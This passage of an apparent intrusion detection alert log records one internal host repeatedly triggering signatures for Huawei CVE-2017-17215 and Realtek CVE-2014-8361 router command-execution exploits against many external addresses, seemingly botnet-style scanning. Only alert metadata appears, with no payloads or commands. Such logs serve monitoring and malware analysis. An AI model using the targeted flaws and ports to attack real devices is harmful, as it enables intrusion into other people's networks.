Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.165.26.56

Timestamp:	07/20/24-23:01:25.291116
SID:	2835222
Source Port:	43250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 20.197.184.179

Timestamp:	07/20/24-23:01:28.205022
SID:	2829579
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.194.224.249

Timestamp:	07/20/24-23:01:37.217137
SID:	2829579
Source Port:	54070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.181.156.3

Timestamp:	07/20/24-23:01:02.410932
SID:	2829579
Source Port:	49218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 145.114.175.209

Timestamp:	07/20/24-23:01:13.331537
SID:	2027339
Source Port:	47176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.5.247

Timestamp:	07/20/24-23:01:37.163818
SID:	2835222
Source Port:	37760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.111.185

Timestamp:	07/20/24-23:01:11.461509
SID:	2835222
Source Port:	34128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.209.2.238

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	45234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 116.213.32.189

Timestamp:	07/20/24-23:01:02.414850
SID:	2829579
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.255.69.128

Timestamp:	07/20/24-23:01:02.415804
SID:	2829579
Source Port:	54222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.193.166

Timestamp:	07/20/24-23:01:14.397897
SID:	2829579
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.43.22

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	50892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.1.252.213

Timestamp:	07/20/24-23:01:05.905239
SID:	2829579
Source Port:	54410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.120.80.178

Timestamp:	07/20/24-23:01:14.397786
SID:	2829579
Source Port:	36212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 210.127.30.24

Timestamp:	07/20/24-23:01:34.923386
SID:	2027339
Source Port:	51740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 202.19.178.110

Timestamp:	07/20/24-23:01:37.231056
SID:	2835222
Source Port:	48258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.38.77

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	43604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 69.185.156.127

Timestamp:	07/20/24-23:01:31.120003
SID:	2027339
Source Port:	34428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 19.75.81.79

Timestamp:	07/20/24-23:01:34.034865
SID:	2027339
Source Port:	52832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 53.20.227.219

Timestamp:	07/20/24-23:01:34.909156
SID:	2027339
Source Port:	47934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.40.225.76

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	46034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 43.140.238.166

Timestamp:	07/20/24-23:01:24.732777
SID:	2027339
Source Port:	59754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 116.111.12.206

Timestamp:	07/20/24-23:01:05.803717
SID:	2025132
Source Port:	43400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.125.212.107

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	35338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.0.146.131

Timestamp:	07/20/24-23:01:37.121494
SID:	2835222
Source Port:	33238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.68.1.166

Timestamp:	07/20/24-23:01:13.333101
SID:	2027339
Source Port:	37970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.81.216.185

Timestamp:	07/20/24-23:01:19.220942
SID:	2835222
Source Port:	56562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.20.113.95

Timestamp:	07/20/24-23:01:19.233961
SID:	2829579
Source Port:	42368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.188.161.188

Timestamp:	07/20/24-23:01:22.769326
SID:	2835222
Source Port:	56428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.117.59.219

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	39740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.196.232.72

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	54842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.155.216

Timestamp:	07/20/24-23:01:05.908608
SID:	2829579
Source Port:	33288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.99.53

Timestamp:	07/20/24-23:01:37.227564
SID:	2829579
Source Port:	45382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.59.24

Timestamp:	07/20/24-23:01:37.191093
SID:	2829579
Source Port:	47088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.20.249.180

Timestamp:	07/20/24-23:01:02.411644
SID:	2835222
Source Port:	57200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.93.160

Timestamp:	07/20/24-23:01:19.227177
SID:	2835222
Source Port:	48994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.211.28.93

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	36550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.225.177

Timestamp:	07/20/24-23:01:33.044521
SID:	2829579
Source Port:	52612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 130.190.186.142

Timestamp:	07/20/24-23:01:07.204640
SID:	2027339
Source Port:	42512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.180.16

Timestamp:	07/20/24-23:01:25.230441
SID:	2835222
Source Port:	49964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 39.28.170.200

Timestamp:	07/20/24-23:01:22.988072
SID:	2025132
Source Port:	42048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.117.169

Timestamp:	07/20/24-23:01:02.414851
SID:	2835222
Source Port:	42126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.166.112

Timestamp:	07/20/24-23:01:02.414528
SID:	2835222
Source Port:	48024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.245.45.161

Timestamp:	07/20/24-23:01:14.397565
SID:	2835222
Source Port:	38968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.202.168.225

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	32778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 131.159.1.125

Timestamp:	07/20/24-23:01:25.283485
SID:	2829579
Source Port:	56380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.94.156.231

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	45266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 84.149.17.30

Timestamp:	07/20/24-23:01:34.899753
SID:	2831300
Source Port:	41492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.201.11.124

Timestamp:	07/20/24-23:01:33.395838
SID:	2027339
Source Port:	58564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.217.163.116

Timestamp:	07/20/24-23:01:34.902376
SID:	2027339
Source Port:	57374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.218.188.73

Timestamp:	07/20/24-23:01:28.208110
SID:	2835222
Source Port:	60824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 135.89.106.236

Timestamp:	07/20/24-23:01:30.858584
SID:	2027339
Source Port:	45332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.224.16

Timestamp:	07/20/24-23:01:25.294369
SID:	2835222
Source Port:	38264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 153.57.57.9

Timestamp:	07/20/24-23:01:02.405571
SID:	2835222
Source Port:	53616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.201.243

Timestamp:	07/20/24-23:01:11.461509
SID:	2829579
Source Port:	53392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.93.39.165

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	44478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.85.14.252

Timestamp:	07/20/24-23:01:14.399761
SID:	2835222
Source Port:	58060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.117.226.58

Timestamp:	07/20/24-23:01:02.412914
SID:	2835222
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 61.27.5.72

Timestamp:	07/20/24-23:01:33.740102
SID:	2027339
Source Port:	55578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.32.220.2

Timestamp:	07/20/24-23:01:07.668267
SID:	2835222
Source Port:	34962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.7.12.7

Timestamp:	07/20/24-23:01:22.792727
SID:	2835222
Source Port:	36880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 186.175.120.220

Timestamp:	07/20/24-23:01:25.293652
SID:	2835222
Source Port:	51798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 74.251.145.25

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.4.32.65

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	39986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 107.71.221.19

Timestamp:	07/20/24-23:01:23.163830
SID:	2027339
Source Port:	34758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.232.156.2

Timestamp:	07/20/24-23:01:05.911929
SID:	2829579
Source Port:	47550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.15.221.37

Timestamp:	07/20/24-23:01:13.332043
SID:	2831300
Source Port:	51952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.254.159.91

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	54468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.111.172.13

Timestamp:	07/20/24-23:01:22.790734
SID:	2835222
Source Port:	33412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.231.171

Timestamp:	07/20/24-23:01:05.911929
SID:	2829579
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 47.157.17.225

Timestamp:	07/20/24-23:01:25.379837
SID:	2025132
Source Port:	60940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.156.34.177

Timestamp:	07/20/24-23:01:05.895933
SID:	2835222
Source Port:	39734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.88.111.112

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	51596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 31.235.249.101

Timestamp:	07/20/24-23:01:05.450414
SID:	2027339
Source Port:	60168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 1.119.230.113

Timestamp:	07/20/24-23:01:29.528866
SID:	2025132
Source Port:	56818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.243.189.163

Timestamp:	07/20/24-23:01:22.769326
SID:	2835222
Source Port:	35048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.163.154.51

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	55566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.4.235

Timestamp:	07/20/24-23:01:02.408227
SID:	2829579
Source Port:	42576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.184.169.139

Timestamp:	07/20/24-23:01:05.863035
SID:	2027339
Source Port:	36548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 172.76.44.174

Timestamp:	07/20/24-23:01:13.332043
SID:	2027339
Source Port:	47612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 170.186.56.154

Timestamp:	07/20/24-23:01:34.909156
SID:	2831300
Source Port:	44846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.233.106

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	48144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 164.82.176.136

Timestamp:	07/20/24-23:01:29.169782
SID:	2027339
Source Port:	60376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.209.33

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	56692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.83.248.176

Timestamp:	07/20/24-23:01:22.792913
SID:	2829579
Source Port:	42134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.14.57

Timestamp:	07/20/24-23:01:25.230811
SID:	2829579
Source Port:	54042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 82.86.85.182

Timestamp:	07/20/24-23:01:13.329204
SID:	2831300
Source Port:	51164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.132.3.133

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	59668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.6.120

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	53330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.134.90.178

Timestamp:	07/20/24-23:01:25.192001
SID:	2027339
Source Port:	54532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.209.139.222

Timestamp:	07/20/24-23:01:19.236523
SID:	2829579
Source Port:	45648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 52.155.86.86

Timestamp:	07/20/24-23:01:02.411166
SID:	2835222
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.67.163.62

Timestamp:	07/20/24-23:01:02.416600
SID:	2835222
Source Port:	38644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 35.247.69.244

Timestamp:	07/20/24-23:01:19.222378
SID:	2835222
Source Port:	35444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.20.138

Timestamp:	07/20/24-23:01:14.406961
SID:	2829579
Source Port:	47792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.220.236.131

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	47904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 74.8.125.187

Timestamp:	07/20/24-23:01:34.214142
SID:	2025132
Source Port:	42082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.153.174.51

Timestamp:	07/20/24-23:01:14.407391
SID:	2829579
Source Port:	32932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.3.152

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	52674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 150.10.126.44

Timestamp:	07/20/24-23:01:34.965835
SID:	2831300
Source Port:	54264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.222.113

Timestamp:	07/20/24-23:01:25.289824
SID:	2835222
Source Port:	48176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

